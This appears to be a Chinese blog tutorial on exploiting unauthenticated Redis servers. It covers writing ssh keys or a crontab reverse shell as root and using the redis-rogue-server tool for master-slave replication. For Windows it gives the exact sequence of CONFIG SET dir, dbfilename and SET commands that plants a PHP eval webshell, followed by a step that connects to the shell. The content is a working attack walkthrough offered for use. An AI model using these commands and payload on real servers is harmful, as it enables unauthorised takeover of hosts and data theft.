Redis未授权利用

Redis未授权利用

Scroll Down

一、简介

  • redis默认情况下,绑定在0.0.0.0:6379,若没有采用相关的策略,如添加防火墙规则避免其他非信任来源 IP访问等,会将 redis服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 redis以及读取 redis的数据。攻击者在未授权访问 redis的情况下,利用 redis自身的提供的config命令,可以进行写文件操作,从而将恶意文件写入目标主机中进行利用,譬如ssh-keywebshellcrontab等。

二、利用

2.1 Linux环境

  • 若是部署的redis权限够高,采用root权限进行,则我们可以直接采用写入ssh-key或者crontab反弹shell的形式,以此获得对目标主机的控制权。
  • 若是部署的redis账户为普通权限,则也可以使用redis主从复制的恶意代码进行利用,从而获取目标主机的控制权。

2.1.1 root权限

  • 工具:传送门
    • 注意:若是目标未启用ssh-key、没有crontab,则无法采用写入密钥或者写入定时任务来反弹shell了,请另外再尝试写入webshell

image-20231223153840043

2.1.2 普通权限

  • 工具: redis-rogue-server
    • 注意:使用该工具请删除原有的exp.so,自行编译使用文件后放到脚本所在文件夹,否则将无法执行。

image-20231223143233775

image-20231223143936848

2.2 Windows环境

  • Windows环境下使用redis未授权的主要利用方式为寻找目标主机的web根目录,以此写入webshell。其余的方式诸如写入系统启动项、mof提权,都具备太高的偶然性,难以利用。
  • 参考文章:FreeBuf

2.2.1 WebShell利用

  • 第一步:确认目标的web容器根目录
    • 注:在此阶段可以使用web目录搜索工具dirsearch 来查找诸如phpinfo 之类的信息,又或者可以确认目标网站容器,尝试IISPHPStudy的默认Web容器路径。
  • 第二步:写入WebShell
    • 确认写入目录:config set dir c:\phpstudy\www
    • 确认写入文件名:config set dbfilename shell.php
    • 确认写入内容:set x "<?php @eval($_POST['a']) ?>"
    • 保存本次写入:save

image-20231223145405447

  • 第三步:连接WebShell

image-20231223150000089

image-20231223150056327